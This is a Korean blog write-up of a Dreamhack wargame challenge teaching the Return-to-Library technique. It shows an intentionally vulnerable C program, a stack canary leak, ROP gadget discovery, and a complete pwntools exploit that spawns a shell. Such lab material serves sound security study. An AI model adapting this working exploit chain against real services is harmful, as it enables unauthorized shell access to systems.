취약점분석/Pwnable

[Pwnable]Return to Library write-up (ROP)

poiri3r 2025. 10. 2. 21:44

오늘은 NX를 우회하기 위한 기법인 RTL(Return to Libray)을 공부하면서 드림핵 문제 롸업까지 같이 작성해보겠습니다.

 

문제는 해당 링크에 있습니다.

https://dreamhack.io/wargame/challenges/353/

 

Return to Library

DescriptionExploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

 

 

먼저 RTL에 대해 간단하게 살펴보겠습니다.

NX 보호기법으로 인해 공격자가 버퍼에 입력한 셸코드를 실행하는건 어려워졌기 떄문에, 이미 메모리에 있는 코드를 호출해서 쉘을 딸 방법을 찾았습니다.

 

RTL기법에 필요한 조건은 다음과 같습니다.

  • 스택을 덮어쓸 수 있는 취약점(ex: 버퍼 오버플로우)
  • 호출하려는 함수(ex: execve)가 메모리에 로드되어있어야함
  • 그 함수의 실제 주소를 알아야됨 -> ASLR이 걸려있으면 난이도가 증가

먼저 문제 파일의 소스코드입니다.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

먼저 checksec을 통해 보호 기법을 확인해보겠습니다.

카나리가 존재하고 NX가 적용되어있습니다.

 

rtl.c의 17번째줄인 system("echo 'system@plt'")는 PLT에 system을 추가하기 위해 작성된 코드입니다.

PLT는 라이브러리 함수의 참조를 위해 사용하는 테이블인데, PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있습니다.

이번 문제에서는 PLT에 추가된 system을 이용해서 셸을 실행시키는 걸 목표로 해보겠습니다.

 

일단 먼저 카나리 우회를 해야하기 때문에 첫번째 입력에서 적절한 값을 구해서 카나리를 구하고, 우회해야 합니다. 저번에 했던 방식이니 간단하게 코드만 적어두겠습니다.

 

from pwn import*
 
p = remote("host8.dreamhack.games", 24336)

payload = b"A" * 0x39 
p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
print(payload)

canary = u64(b'\00' + p.recvn(7))
print(hex(canary))

 

버퍼의 크기인 0x30에서 패딩인 8만큼 더해야되는걸 깜빡해서 시간이 조금 걸렸네요.

출력결과는 잘 나오는 것 같습니다.

 

저번에 콜링 컨벤션에 대해서 학습을 했었는데 x86-64 호출 규약에 따라 함수의 첫번째 인자는 rdi레지스터에 들어갑니다.

이 코드에서는 /bin/sh라는 문자열을 따로 변수에 저장을 해뒀고, system을 호출하기 위해 plt에 추가를 해뒀기 때문에, 저희가 /bin/sh라는 문자열의 주소를 구해 rdi에 집어넣고 system함수를 호출할 수 있다면,

system("/bin/sh")

 

라는 함수를 직접 실행한것 과 같습니다. (*system은 인자로 들어간 커맨드를 실행시켜주는 함수입니다)

 

이 커맨드를 실행하기 위해 리턴 가젯이 필요합니다.

리턴 가젯은 ret 명령어로 끝나는 어셈블리 코드 조각으로, pwntools안의 ROPgadget 명령어를 사용하여 출력할 수 있습니다.

 

ret로 끝나는 어셈블리 코드 조각 중에서 저희가 찾아야 하는건 3가지입니다

1.rdi값을 초기화하는 pop rdi; ret

2.문자열 "/bin/sh"의 주소

3.system함수의 plt 주소

 

먼저 2번3번의 주소값들은 pwngdb를 이용하면 쉽게 구할수 있습니다.

문자열 /bin/sh의 주소값을 구하는 디버거 명령어입니다.

search /bin/sh

 

입력하면 다음과 같이 출력됩니다.

system함수의 plt 주소를 구하는 방법입니다.

이건 그냥 plt 치시면 나옵니다..ㅎ

이제 pop rdi ; ret을 찾아야 합니다.

아까 ROPgadget ~~ 해서 찾은 어셈조각들을 다 뒤져서 찾아도 되긴 하지만 --re 옵션을 이용하면 특정 단어로 필터링이 가능합니다.

ROPgadget --binary ./rtl --re "pop rdi"

 

여기서 주의해야 할 부분이 system함수로 rip가 이동할 때 즉 call 명령을 실행하기 직전 RSP가 16의 배수여야합니다.

이게 ABI 규칙이라는 것 때문인데 서로 다른 하드웨어, 아키텍처, 운영체제, 프로그래밍 언어 간에 컴파일된 바이너리 코드가 호환되도록 정의하는 규칙입니다. 컴파일러/라이브러리가 메모리에 접근할 때 16비트 단위로 접근하는 경우가 많기 때문이라고 합니다.

 

드림핵에서는 system함수를 이용한 익스플로잇을 작성할 때, Segmentation Fault 가 발생한다면, 아무 의미 없는 가젯을 추가해보라고 합니다.

 

그래서 가젯을 찾아보니까

바로 리턴하는 가젯이 있어서 이것도 페이로드에 추가를 해줬습니다.

 

binsh = 0x400874
pltaddr = 0x4005d0
poprdi = 0x0000000000400853
gadget = 0x0000000000400596

 

변수랑 주소값들은 각각 이렇게 저장을 해뒀고요 

 

payload를 다음과 같이 작성했습니다.

payload = b'A'*0x38 + p64(canary) + b'B' * 0x8 + p64(gadget) 
payload += p64(poprdi) + p64(binsh) + p64(pltaddr)

 

다음에 payload를 보내는 send와 p.interactive를 작성하면 익스플로잇이 완성됩니다.

중간중간 체크를 위한 print 구문을 제외한 익스플로잇 전문입니다.

 

payload = b"A" * 0x39 
p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\00' + p.recvn(7))

binsh = 0x400874
pltaddr = 0x4005d0
poprdi = 0x0000000000400853
gadget = 0x400596


payload = b'A'*0x38 + p64(canary) + b'B' * 0x8 + p64(gadget) 
payload += p64(poprdi) + p64(binsh) + p64(pltaddr)

p.sendafter(b"Buf: ", payload)

p.interactive()

 

from pwn import*
 
p = remote("host", port)

payload = b"A" * 0x39
p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\00' + p.recvn(7))

binsh = 0x400874
pltaddr = 0x4005d0
poprdi = 0x0000000000400853
gadget = 0x400596


payload = b'A'*0x38 + p64(canary) + b'B' * 0x8 + p64(gadget)
payload += p64(poprdi) + p64(binsh) + p64(pltaddr)

p.sendafter(b"Buf: ", payload)

p.interactive()

 

복사하실분들을 위한 코드입니다.

 

실행하면 다음과 같이 FLAG를 얻을 수 있습니다.

 

이상으로 ROP의 Return to library 문제 롸업 작성을 마치겠습니다.

읽어주셔서 감사합니다

 

'취약점분석 > Pwnable' 카테고리의 다른 글

[Pwnable] PIE (위치 독립 실행 파일)  (0) 2025.10.04
[Pwnable] rop write-up (GOT Overwrite)  (1) 2025.10.03
[Pwnable] NX & ASLR  (0) 2025.09.30
[Pwnable] ssp_001 write up  (0) 2025.09.24
[Pwnable] 스택 카나리 - 2 (Canary Leak)  (0) 2025.09.22